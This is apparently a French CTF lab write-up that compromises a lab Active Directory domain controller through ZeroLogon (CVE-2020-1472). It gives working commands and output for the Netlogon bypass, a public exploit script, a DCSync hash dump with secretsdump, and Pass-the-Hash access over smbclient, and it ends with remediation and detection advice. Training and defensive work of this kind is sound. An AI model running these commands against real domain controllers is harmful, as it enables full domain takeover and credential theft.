Lab NullSec : Compromettre un Domaine Active Directory via ZeroLogon (CVE-2020-1472)
Exploitation de CVE-2020-1472 (ZeroLogon) sur un Contrôleur de Domaine Windows : bypass d'authentification Netlogon par brute-force cryptographique, reset du mot de passe du compte machine DC$, DCSync pour dumper les hashes, et accès administrateur via Pass-the-Hash sur SMB.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | CreedCTF |
| Cible | NULLSEC-DC.zero.local, 192.168.202.133 |
| OS | Windows Server (domaine zero.local) |
| CVE | CVE-2020-1472 (ZeroLogon) |
| CVSS | 10.0 / 10 (Critique) |
| Difficulté | Facile |
Scénario : Le briefing est direct : exploiter une faille critique dans le protocole Netlogon pour usurper l'identité du Contrôleur de Domaine et compromettre totalement l'environnement Active Directory.
Kill chain :
Scan → DC identifié (NULLSEC-DC.zero.local)
│
▼
Page HTTP → CVE-2020-1472 documentée → Flag 1
│
▼
ZeroLogon check → DC vulnérable confirmé
│
▼
ZeroLogon exploit → mot de passe DC$ vidé
│
▼
secretsdump → hash Administrateur : 27336d7c72fd5c4d990d62ba65f6d34b
│
▼
smbclient PtH → Desktop Administrateur → Flag 2
1. Reconnaissance
rustscan -b 500 -a 192.168.202.133 -- -sC -sV -Pn
Output :
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: ZeroLogon - CVE-2020-1472
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: zero.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: zero.local, Site: Default-First-Site-Name)
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=NULLSEC-DC.zero.local
9389/tcp open mc-nmf .NET Message Framing
Host script results:
| smb2-security-mode:
|_ Message signing enabled and required
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
Service Info: Host: NULLSEC-DC; OS: Windows
Analyse :
La combinaison de ports est la signature d'un Contrôleur de Domaine Active Directory : DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), kpasswd (464), RPC over HTTP (593). Le nom de domaine zero.local et le hostname NULLSEC-DC sont directement exposés par les scripts Nmap.
Deux observations importantes :
smb2-security-mode: Message signing enabled and required : la signature SMB est obligatoire sur ce DC. Le NTLM Relay est donc impossible. L'exploitation devra passer par un autre vecteur.
clock-skew: 0s : horloge parfaitement synchronisée. Kerberos fonctionnera sans problème.
La page web sur le port 80 a un titre particulièrement évocateur : "ZeroLogon - CVE-2020-1472". On s'y rend immédiatement.
2. Investigation HTTP

La page web du lab présente en détail la vulnérabilité CVE-2020-1472. C'est un indice explicite du vecteur d'attaque attendu : le site nous dit lui-même comment le compromettre.
En parcourant la page, on découvre le premier flag intégré dans le contenu :

Premier flag récupéré. On passe à l'exploitation.
3. CVE-2020-1472 - ZeroLogon
Présentation
| Paramètre | Valeur |
|---|---|
| Nom | ZeroLogon |
| Protocole affecté | Netlogon Remote Protocol (MS-NRPC) |
| Composant ciblé | Contrôleur de Domaine Windows Server |
| Score CVSS v3.1 | 10.0 / 10 (Critique) |
| Vecteur d'attaque | Réseau, sans authentification préalable |
| Impact | Prise de contrôle totale du domaine |
Analyse Cryptographique
La faille réside dans une mauvaise implémentation de la cryptographie au sein de MS-NRPC, le protocole utilisé par les machines Windows pour s'authentifier auprès du Contrôleur de Domaine.
Pour sécuriser les échanges, Netlogon utilise une variante du chiffrement AES appelée AES-CFB8 (Cipher Feedback 8-bit). Cette variante exige que chaque message possède un Vecteur d'Initialisation (IV) unique et aléatoire.
L'erreur de Microsoft : dans la fonction d'authentification, l'IV a été codé en dur avec une valeur fixe de 16 octets de zéros (0x00000000000000000000000000000000).
En AES-CFB8, si l'IV est composé uniquement de zéros et que le texte en clair envoyé est aussi composé de zéros, il existe exactement une chance sur 256 (1/256) que le texte chiffré résultant soit lui aussi une suite de zéros.
Le bypass :
1. Attaquant initie une session Netlogon vers le DC
2. Envoie un Client Challenge = 0x0000000000000000
3. Envoie un Client Credential = 0x0000000000000000
(normalement calculé avec le vrai hash de la machine)
4. 1/256 chance que le serveur accepte ce credential
5. En ~256 tentatives (moins de 3 secondes), le serveur valide
6. Session Netlogon établie sans aucun credential
Scénario d'Exploitation Complet
Une fois la session Netlogon falsifiée :
Étape 1 : Spoofing du DC
L'attaquant usurpe l'identité du compte machine du DC (NULLSEC-DC$) via le bypass des zéros.
Étape 2 : Reset du mot de passe via NetrServerPasswordSet2
MS-NRPC expose cette fonction permettant à une machine de modifier son propre mot de passe dans l'AD. L'attaquant l'appelle et réinitialise le mot de passe de NULLSEC-DC$ à une valeur vide.
[!WARNING] Cette étape brise le canal sécurisé entre le DC et son propre Active Directory. Le DC est instable jusqu'à restauration. Dans un engagement réel, cette étape doit être coordonnée avec le client et suivie d'une restauration immédiate.
Étape 3 : DCSync
Mot de passe vide connu, l'attaquant s'authentifie en tant que NULLSEC-DC$ et déclenche un DCSync via DRSUAPI. L'ensemble des hashes du domaine est extrait, incluant celui de l'administrateur et de krbtgt.
4. Exploitation
Téléchargement et Préparation
searchsploit zerologon
Exploit Title | Path
------------------------------------------------|---------------------------
ZeroLogon - Netlogon Elevation of Privilege | windows/remote/49071.py
searchsploit -m windows/remote/49071.py
mv 49071.py zerologon.py
ls
# zerologon.py
Usage de l'exploit :
python3 zerologon.py
CVE-2020-1472 ZeroLogon Exploit - Netlogon Elevation of Privilege
options:
-do DO What to do (default check): [check|restore|exploit]
-target NETBIOS name of target DC (not the FQDN)
-ip IP IP address of target DC
Workflow recommandé :
1. check → Vérifier si le DC est vulnérable (~300 tentatives)
2. exploit → Vider le mot de passe du DC
3. dump → secretsdump -just-dc -no-pass DC$@IP
4. restore → Restaurer le mot de passe du DC
Étape 1 : Vérification de la Vulnérabilité
python3 zerologon.py -do check -target NULLSEC-DC -ip 192.168.202.133
[+] checking target, attempting to authenticate 2000 max attempts
[+] attempt 0
[+] attempt 1
...
[+] attempt 86
[+] successfully authenticated
DC vulnérable confirmé au 86ème essai (sur 256 possibles au maximum). Le bypass AES-CFB8 a fonctionné.
Étape 2 : Exploitation (Reset du Mot de Passe)
python3 zerologon.py -do exploit -target NULLSEC-DC -ip 192.168.202.133
[+] checking target, attempting to authenticate 2000 max attempts
[+] attempt 0
...
[+] attempt 86
[+] successfully authenticated
[+] Changing machine account password to empty string
[+] Done
Le mot de passe du compte machine NULLSEC-DC$ est maintenant une chaîne vide. Le DC est temporairement instable.
Étape 3 : DCSync avec secretsdump
impacket-secretsdump -just-dc -no-pass 'NULLSEC-DC$@192.168.202.133'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:27336d7c72fd5c4d990d62ba65f6d34b:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e1b55112fd93da9191f0927ded528a8b:::
NULLSEC-DC$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Kerberos keys grabbed
Administrateur:aes256-cts-hmac-sha1-96:a6c7853ed7439c2d295df64589c3bd99f566cd8954c4bb0c487c36ccd364ad97
krbtgt:aes256-cts-hmac-sha1-96:1b82a0416c00c5bac107893ceb23d29806a29e6c506874cbee044dbbde75c6b2
NULLSEC-DC$:aes256-cts-hmac-sha1-96:5b98f1c7994cfce69d1f21663f1197d9e68ed45e309fb1603a44eeb7c50190c7
[*] Cleaning up...
Hash NT de l'Administrateur : 27336d7c72fd5c4d990d62ba65f6d34b
Compromission totale du domaine. On dispose du hash de l'administrateur et du hash krbtgt.
5. Post-Exploitation
Accès via Pass-the-Hash sur SMB
Une tentative de connexion via wmiexec n'a pas abouti dans ce contexte. On passe par smbclient avec le hash NT de l'administrateur directement :
smbclient //192.168.202.133/C$ \
-U "Administrateur" \
--pw-nt-hash 27336d7c72fd5c4d990d62ba65f6d34b \
-W zero.local
L'option --pw-nt-hash permet de passer le hash NTLM directement sans connaître le mot de passe en clair. C'est du Pass-the-Hash : on s'authentifie avec le hash lui-même comme credential.
smb: \> cd Users\Administrateur\Desktop
smb: \Users\Administrateur\Desktop\> ls
desktop.ini AHS 282 Thu Jun 25 14:00:33 2026
flag2.txt A 1030 Thu Jun 25 14:28:29 2026
smb: \Users\Administrateur\Desktop\> get flag2.txt
getting file \Users\Administrateur\Desktop\flag2.txt (1.9 KiloBytes/sec)
cat flag2.txt
,--------------------------===---.
| PalmVx |
| ,----------------------------. |
| | | |
| | FLAG2{NET-LOGON-DOWN} | |
| | | |
| '----------------------------' |
"------......____O____......------"
Flag 2 : FLAG2{NET-LOGON-DOWN}
6. Restauration du DC
[!WARNING] L'exploitation ZeroLogon vide le mot de passe du compte machine du DC, ce qui brise le canal sécurisé entre le DC et son propre Active Directory. Dans un engagement réel, cette étape est obligatoire immédiatement après la phase de proof-of-concept.
# Récupérer le hash hexadécimal original du DC lors du second secretsdump
# (réalisé avec les credentials de l'Administrateur)
impacket-secretsdump \
-hashes aad3b435b51404eeaad3b435b51404ee:27336d7c72fd5c4d990d62ba65f6d34b \
zero.local/Administrateur@192.168.202.133
# Restaurer le mot de passe original du DC
python3 zerologon.py \
-do restore \
-target NULLSEC-DC \
-ip 192.168.202.133 \
-hex <HEXPASS_NULLSEC-DC$>
Dans le contexte de ce lab CTF, la restauration n'est pas strictement nécessaire. En environnement de production, ne jamais omettre cette étape.
7. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → NULLSEC-DC.zero.local identifié, signing requis
2. HTTP port 80 → CVE-2020-1472 documentée → Flag 1
3. searchsploit → exploit 49071.py téléchargé
4. check ZeroLogon → DC vulnérable confirmé (tentative 86/256)
5. exploit ZeroLogon → mot de passe NULLSEC-DC$ vidé
6. secretsdump → hash Administrateur 27336d7c72fd5c4d990d62ba65f6d34b
7. smbclient PtH → accès C$ en tant qu'Administrateur
8. flag2.txt → FLAG2{NET-LOGON-DOWN}
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| CVE-2020-1472 | Implémentation AES-CFB8 avec IV fixe à zéro dans MS-NRPC | Appliquer le patch KB4571694 (Août 2020) ou toute mise à jour Windows Server publiée après Août 2020. Microsoft a rendu obligatoire le mode de protection Netlogon depuis Février 2021 |
| Pass-the-Hash | Le hash NT suffit pour s'authentifier sans mot de passe en clair | Activer Protected Users Security Group pour les comptes sensibles, activer Windows Defender Credential Guard |
| Compte Administrateur exposé | Le compte built-in Administrator est directement ciblable par PtH | Désactiver le compte Administrateur built-in, utiliser des comptes d'administration dédiés avec des noms non standards |
| Absence de détection | ZeroLogon génère un volume anormal de tentatives Netlogon | Monitorer les ID d'événements 5805, 5827, 5828 dans les logs Windows Security pour détecter les tentatives ZeroLogon |
[!NOTE] ZeroLogon est une des rares CVE ayant atteint le score CVSS maximum de 10.0. Sa particularité est qu'elle ne requiert strictement aucune authentification préalable et prend moins de 3 secondes. Un attaquant avec un simple accès réseau peut compromettre l'ensemble d'un domaine Active Directory en une seule commande. Le patch est disponible depuis Août 2020, toute machine non patchée après cette date est inexcusablement vulnérable.
Writeup rédigé par Zcook
